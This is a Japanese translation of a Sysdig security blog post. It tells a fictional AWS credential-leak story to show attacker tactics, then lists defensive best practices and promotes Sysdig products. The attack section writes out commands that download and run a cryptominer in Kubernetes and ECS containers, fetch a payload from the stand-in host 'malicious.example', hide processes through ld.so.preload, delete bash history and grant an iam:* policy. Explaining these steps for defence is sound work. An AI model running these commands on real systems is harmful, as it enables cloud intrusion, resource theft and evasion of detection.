本文の内容は、2021年3月30日にVicente Herrera Garcíaが投稿したブログ(https://sysdig.com/blog/threat-detection-aws-cloud-containers/)を元に日本語に翻訳・再構成した内容となっております。
AWSに効果的な脅威検知を実装するには、クラウドサービスとコンテナのすべてを可視化する必要があります。アプリケーションは、ホスト、仮想マシン、コンテナ、クラスター、保存された情報、入出力データストリームなど、数多くの要素で構成されています。そこに設定やユーザー管理を加えれば、保護すべきものがたくさんあることは明らかです。
アプリケーションをクラウドに移行すると、開発スピード、パフォーマンス、スケーラビリティ、可用性が向上することが期待できます。また、Lambda関数やFargateデプロイメントなど、新しい種類の機能を利用できるようになります。利用しているクラウドサービスのメンテナンスはAWSが担当しているため、ビジネスを推進するアプリケーションに集中することができます。
AWSは、クラウドサービスの運用と安全性の確保に力を入れており、セキュリティ対策のためのツールを提供しています。しかし、実際には、クラウドにおけるセキュリティは、”責任共有モデル “です。つまり、ユーザーであるあなたも、インフラを安全に保つために何らかの作業をしなければならないのです。それは当然のことです。結局、アプリを書いたり、サービスの設定を管理したりしているのは、あなたのチームなのですから。
この記事では、架空のシナリオを使って、クラウドセキュリティがワークロードのセキュリティをいかに損なうかを説明します。ここでは、お客様のクラウド・アカウントとその資産を悪用しようとする悪意のある行為者の手順を追っていきます。これにより、攻撃者の立場になって考え、インフラのセキュリティを確保するためのベスト・プラクティスを理解することができます。
破滅的な物語の始まり
ある金曜日の夜、あなたの組織のエンジニアの一人が、自宅で会社のノートパソコンを使って仕事をしています。彼らは、いつも大事に使われているAWS CLIの認証情報を使って、楽しそうにデプロイ作業をしています。しかし、予期せぬことが起こります。
会社のラップトップに問題が発生し、画面が常にちらつき始めたのです。このような状態では作業ができません。チームが取り組んできたリリースのデプロイを急ぐため、エンジニアは個人のデスクトップコンピュータを使って作業を続けることにしました。
金曜日の夜にデプロイ作業をすることが大惨事だと言う人もいますが、この場合、その個人用コンピュータには何か暗いものが潜んでいました。エンジニアの子供がコンピューターに忍び込み、数日前にMinecraftの改造モジュールをダウンロードしました。 いくつかの怪しげなWebページにアクセスした後、マルウェアがコンピューターに侵入しました。
この状況について何も知らないエンジニアは、自信を持ってAWS CLIコマンドを実行するために必要な~/.aws/credentialsファイルをパソコンにコピーします。このファイルがどのようなものか、以下で確認してみましょう。このファイルには、AWSのアクセスキーとシークレットが格納されています。この情報を持っている人は、エンジニアになりすまして、コマンドラインでAWSインフラにアクセスすることができます。
$ cat ~/.aws/credentials [default] aws_access_key_id=AKIAIOSFODNN7EXAMPLE aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
攻撃者の視点
このセクションで説明している手順は、単なる情報提供に過ぎません。これらの攻撃からの防御に役立たない危険な情報を提供しないように、意図的に省いたり、一般化した手順もあります。物語は進み、「数日後」というタイトルとともに、ノートパソコンの画面だけが照らされた暗い部屋へと消えていきます。ノートパソコンの背面には保護用のシールが貼られており、キーボードの後ろにはパーカーを着た攻撃者がいる。これはフィクションですから、もちろんこの人物はパーカーを着ています。そうしないと、彼が悪いハッカーだとはわからないでしょう？)
影の攻撃者は、忍耐強く被害者を待っていました。エンジニアの証明書を受け取った後も、彼らは期待していませんでした。
攻撃者は、「これは金だ」と思いました。
すぐに攻撃者はアカウントを覗き始め、誰かが何か変なことに気づいていないかどうかを慎重に確認しました。週末になると、彼らは検知されずにシステムに侵入できると確信しました。
攻撃者が最初に気付いたことは、ユーザーがウェブコンソールにアクセスするためにMFA（多要素認証）を必要としていたにもかかわらず、.aws/credentialsファイルに保存されているCLI認証情報にはこのセキュリティ対策が設定されていなかったということです。
攻撃者は、コマンドラインインターフェースを使用してクラウドインフラストラクチャーに侵入することができました。
永続性について
アカウントに侵入した後、攻撃者が最初に行うことは、認証情報が取り消されてもアカウントにアクセスし続ける方法を確保することです。これは、MITRE ATT&CK フレームワークでは Persistence Tactic と分類されています。攻撃者は、このユーザと他のユーザのために追加のアクセスキーを作成してダウンロードし、それをローテートさせる時間制限を設けません。
また、新しいユーザを作成し、可能な限り多くの権限を持つグループに追加しています。
この攻撃者は、すべての権限を許可するインラインポリシーをユーザに添付できることも発見し、グループから削除された場合に備えていました。
{
"Version": "2012-10-17",
"Statement": {
"Effect": "Allow",
"Action": "iam:*",
"Resource": "*"
}
}防御の回避
攻撃者は自分のポジションが安全であることを知っていますが、発見されない限りはそうではありません。どうすればAWSアカウント内の自分の足跡を隠し、誰にも自分の存在を疑われないようにできるでしょうか。彼らは、CloudTrail trailが、それぞれのアクションを含むすべてのAWSコマンドを記録していることを確認します。もし誰かがこの記録を確認すれば、攻撃者はすぐにバレてしまいます。
しかし、彼らのアクセスレベルではCloudTrailを無効にすることができません。しかし、心配はありません。すべてのイベントはCloudWatchのログストリームに記録されているので、それを見ればアイデアが浮かぶはずだ。作業が終わったら、そのログストリームの内容をリセットして、攻撃範囲の痕跡を消してしまえばいいのだ。
これで、攻撃者はより攻撃的になることができます。
VPCセキュリティグループ
AWSアカウントをさらに調査した結果、攻撃者は多くの興味深い資産を発見します。これは彼らが探していたものでしょうか？しかし、それらの資産はVPC(Virtual Private Cloud)上にあり、外部からのアクセスはありません。
VPCは、仮想ネットワークを使って、すべての資産を論理的に隔離しています。これは、ゼロトラスト原則に則ったベストプラクティスとされています。万が一、資産が侵害された場合、攻撃者は特定のVPC上のアイテムにのみ直接アクセスすることができます。
この隔離ポリシーはセキュリティグループで定義されており、このケースではVPC外からの通信は除外されています。
しかし、攻撃者は侵害しようとしている資産に接続を送りたいと考え、VPCのセキュリティポリシーを変更して、どのような発信元からのイングレス通信も許可するようにします。
ECR リポジトリ上のコンテナイメージの危殆化
攻撃者は、コンテナイメージにクリプトマイニングソフトウェアを隠すことに精通しています。誰が彼らを責めることができるでしょうか？暗号通貨は急騰しており、最近は誰もがそのことを話題にしています。参考までに私たちのブログでいくつかの記事をチェックしてみましょう。
“どうすれば最も少ない労力で最も多くのクリプトマイナーをインストールできるのか”と彼らは自問します。
そして、組織内で何百回もデプロイされているイメージが含まれているECRリポジトリを思い浮かべます。そこで攻撃者は、いくつかのイメージを取り出して、その中のクリプトマイナーをサイドロードするレイヤーを追加し、オリジナルと同じタグを使ってECRリポジトリに修正イメージをプッシュします。
稼働中のワークロードの危険性
焦った攻撃者はデスクトップを指で叩きます。イメージはまだデプロイされていません。新しいデプロイメントで使用されるイメージを待つことはできません。オペレーションを成功させるために、今すぐ何かを動かしたいのです。攻撃者は、自分が乗っ取っているのと同じユーザー認証情報で作成されたEKS（Elastic Kubernetes Service）クラスターを見て、Kubectlでアクセスできるようにします。
彼らは、Nginxが実行中のコンテナの1つでターミナルシェルを実行します。外部からの接続があっても怪しまれません。簡単なダウンロードの後、攻撃者はクリプトマイナーを立ち上げて実行します。
$ aws eks --region us-east-2 update-kubeconfig --name ecommerce-cluster $ kubectl exec -it nginx-deployment-dbc9fccdb-rgt5w -- /bin/bash # wget -qO- https://github.com/xmrig/xmrig/releases/download/v6.3.1/xmrig-6.3.1-xenial-x64.tar.gz | tar -xvz # ./xmrig-6.3.1/xmrig
# git clone https://github.com/gianlucaborello/libprocesshider.git # cd libprocesshider # make # sudo mv libprocesshider.so /usr/local/lib/ # cd .. ; rm -rf libprocesshider # echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
さて、帰る前にBashを削除して、ここに来たことを誰にも知られないようにします。
# rm .bash_history # exit
セキュリティ侵害されたFargateワークロード
しかし、欲には限界がありません。攻撃者がクリプトマイニングに再利用できるサービスはまだいくつかあります。この組織には、Fargateタスクを備えたECS（Elastic Container Services）クラスターがあります。
これは非常に便利な技術で、増加するワークロードに合わせて簡単にスケールアップすることができます。しかし、これは一種の「ブラックボックス」であり、暗闇に取り残されないためには、内部で何が起こっているかを監視する必要があります。
新しくリリースされたECS execコマンドの機能を使って、攻撃者はECS Fargateコンテナ内にインタラクティブシェルを起動します。
$ aws ecs execute-command --region us-east-2 \
--cluster b2b-internal-platform \
--task 024014100e964f0294d9b1b70sample \
--container amazon-linux \
--command "/bin/sh" --interactive
# wget -qO- https://malicious.example/botnet-cc-install.tar.gz | tar -xvz
# ./botnet-cc-install/install.shS3バケットへのパブリックライトを有効にする
攻撃者は、ケーキの上のアイシングをするために最後に立ち寄ります。彼らは、”この会社はS3バケットに何を保存しているのだろう？何か価値のあるものはないだろうか？”と考えます。S3バケットは、AWSの非常に便利で低コストなファイルストレージシステムです。S3バケットは、多くのサービスと組み合わせて使用され、HTTPリクエストで提供される静的ファイルをホストすることもできます。
攻撃者は、S3バケットに保存されているいくつかのJavaScriptライブラリが一般に読めるようになっているのを見ています。しかし、書き込みアクセスは公開されていません。これは、Webページの読み込みを高速化するための一般的な手法です。
攻撃者は、2020年にTwilio社に起こったことを真似て、最後の侮辱として、S3バケットへの書き込みアクセスを一般公開します。
そして、S3バケットの情報をフォーラムで共有し、誰でもこのJavaScriptを利用できるようにしています。そして、そのファイルに悪意のあるコードを注入し、そのウェブサイトを訪れたすべての人のブラウザ上で実行されることになるのです。そうなると、非常に危険な状況になります。
ハッピーエンド
このような行為に無知なエンジニアは、最初は社内のチャットチャンネルで騒がれていることをすべて無視していました。しかし、ある日、電話がかかってきました。莫大な請求書が会社に届いた後に攻撃が検知され、エンジニアのアカウントにたどり着いたというのです。エンジニアは目眩がしました。どうしてこんなことになったのか？これで終わりなのか？
いや、そうではない！
エンジニアは、夜中に目が覚めました。これは、悪夢だったのです。オリジナルのデプロイメントを行ったのはつい昨日のことだったのです。
翌朝、エンジニアはセキュリティチームに電話し、認証情報を無効にしてくれるように頼みました。しかし、彼らは「大丈夫です。仮に認証情報が漏れていたとしても、我々は攻撃を検知していただろう」と言われました。そして、セキュリティ対策の内容を説明してくれました。
正しい方法でクラウドを保護する
架空の攻撃は誇張されています。攻撃者は行動を起こすたびに、検知される可能性を高めていきました。実際の状況では、ほとんどの攻撃者はこれほど多くの異なる攻撃ベクトルを利用しようとはしないでしょうが、いかに多くの異なる場所が侵害される可能性があるかを指摘するには良い概要です。そして、2つ目の重要なメッセージは、これらのシナリオはすべて、いくつかの標準的なベストプラクティスに従ったり、セキュリティツールや手順を用意したりすることで、防ぐことができるということです。
もちろん、最初に犯した過ちは、「許可されていないコンピュータを使用しないように」という、明らかに修正すべきことです。しかし、知らないワイヤレスネットワークに接続したり、暗号化されたハードドライブを搭載していないノートパソコンを盗まれたりと、認証情報が流出する可能性はいくらでもあります。セキュリティの専門家の間では、「認証情報はすでに侵害されていると考えてセキュリティを設計しなければならない」というのが共通の意見です。
Webコンソールへのアクセスだけでなく、普段あまり使われないCLI認証でもMFAを有効にすることができます。MFAデバイスで認証を行うと、12時間有効の一時的なトークンが提供されます。
$ aws sts get-session-token --serial-number arn-of-the-mfa-device --token-code code-from-token
{
"Credentials": {
"SecretAccessKey": "secret-access-key",
"SessionToken": "temporary-session-token",
"Expiration": "expiration-date-time",
"AccessKeyId": "access-key-id"
}
}
export AWS_ACCESS_KEY_ID=example-access-key-as-in-previous-output
export AWS_SECRET_ACCESS_KEY=example-secret-access-key-as-in-previous-output
export AWS_SESSION_TOKEN=example-session-token-as-in-previous-output特に、他のユーザーやクレデンシャルを作成したり、権限を増やしたり、セキュリティ設定をより制限の少ないものに変更したりする機能がない場合は、常に必要最小限の権限を持つユーザーを作成してください。
rootアカウントは日常的な活動には使用せず、最も保護された状態にしておくべきです。
一般的に、すべてのユーザーは以下のことを行う必要があります：
- MFA を有効にする。
- 強力なパスワードポリシー。
- パスワードおよび保存されたクレデンシャルのローテーション。
- アカウントごとにクレデンシャルキーを1セットのみ使用する。
aws iam update-account-password-policy --minimum-password-length 14 aws iam update-account-password-policy --password-reuse-prevention 24 aws kms enable-key-rotation --key-id <kms_key_id>
CloudTrailは、セキュリティイベントを確認するためにCloudWatchのログを提供したり、SNS（Simple Notification Service）のキューを介して情報を配信したりすることができます。SNSキューを自身のアナライザーと統合することで、CloudWatchの機能を拡張し、セキュリティイベントをポリシーに照らして検証し、ノイズをカットして、適切な人に通知することができます。
ECRでは、イメージタグの不変性を有効にすることで、既存のタグを再利用しているイメージのプッシュを防ぐことができます。これにより、イメージが異なる機会に予期しない内容を持つことを防ぎます。また、デプロイメントでタグの代わりにダイジェストまたはイメージIDを使用することは、コンテナセキュリティのベストプラクティスです。いずれにしても、本番環境では latest やタグなしの使用を許可しないでください。
EKSの場合、クラスターを作成するユーザには特別な配慮が必要で、RBACコントロールに他のユーザを追加することができます。そのため、作成とRBACの設定には特定のユーザーを使い、それ以外のユーザーは使わないようにします。
$ kubectl describe configmap -n kube-system aws-auth
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: <ARN of instance role (not instance profile)>
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:bootstrappers
- system:nodes最後に、最も役に立つアドバイスとして、AWS Security Hubをチェックすることをお勧めします。ここには、お客様のアカウントに対する推奨事項やセキュリティベンチマークが掲載されています。
Sysdigの取り組み
Sysdig Secure for cloud for AWSは、これらのツールをベースに、AWSアカウントを安全に保つためのセキュリティベストプラクティスをサポートします。クラウドセキュリティポスチャーの管理とコンプライアンスを支援するために、SysdigはCISのようなベンチマークに基づいて、クラウドインフラストラクチャーの静的な構成分析を行います。設定ミスをレポートし、ガイド付きの修正手順を提供します。また、グローバルスコアによって、姿勢が改善されているか、あるいは露出している資産が増加しているかがすぐにわかります。
自分の環境の構成を確認することで、IAMポリシーが安全かどうかを知り、アカウント内のどのS3バケットが公開されているかを確認し、どのVPCがイングレストラフィックを許可しているかなどを把握することができます。また、CIS標準では、発見された問題をどのように修正するかについても詳しく説明しています。
Sysdigは、オープンソースのFalcoをベースにした豊富なセキュリティルールに照らして、CloudTrailの監査ログイベントを分析する脅威検知も行います。
さらに、AWSアカウントのECRリポジトリにプッシュされたすべてのイメージは、脆弱性とdockerfileのベストプラクティスについて自動的にスキャンされます。 同様の方法で、SysdigはすべてのFargateコンテナイメージもスキャンします。
クラウドセキュリティ・ポスチャー管理にとどまらず、Sysdig SecureはCWPP（Cloud Workload Protection Platform）を提供し、ギャップを埋め、あらゆるレベルのセキュリティを完全にロックします。
- カーネルリアルタイム・ランタイムの脅威検知
- Kubernetesの監査ログによる脅威の検知
- CI/CDパイプラインと統合するインラインイメージスキャナー
- デプロイされたすべてのイメージに脆弱性スキャンを実施するアドミッション・コントローラー
- Linux、Docker、およびKubernetesのベンチマーク
- PCI DSS、SOC2、NIST 800-53 rev4、NIST 800-53 rev5 コンプライアンス
まとめ
この記事では、クラウドインフラストラクチャーを保護することがいかに重要であるか、そしてAWSがワークロードを保護するためのツールをどのように提供しているかを見てきました。AWS Security Hubにアクセスすると、お客様のアカウントのセキュリティに関する推奨事項やベンチマークを入手することができます。さらに。
Sysdig Secure for cloudを使えば、悪者が侵入する前にクラウドの設定ミスに継続的にフラグを立てたり、流出した認証情報からの異常なログインなどの不審なアクティビティを検出することができます。これらはすべて1つのコンソールで実行されるため、クラウドのセキュリティ態勢を簡単に検証することができます。しかも、わずか数分で始めることができます。
Sysdig Free Tierでは、無料でクラウドのセキュリティを確保できます。
Sysdig Secure DevOps Platformは、コンテナ、Kubernetes、クラウドを自信を持って実行するために必要な可視性を提供します。オープンソース・スタック上に構築され、SaaS型で提供されており、根本的にシンプルな運用と拡張性を実現しています。
今すぐ無料トライアルをお申し込みください！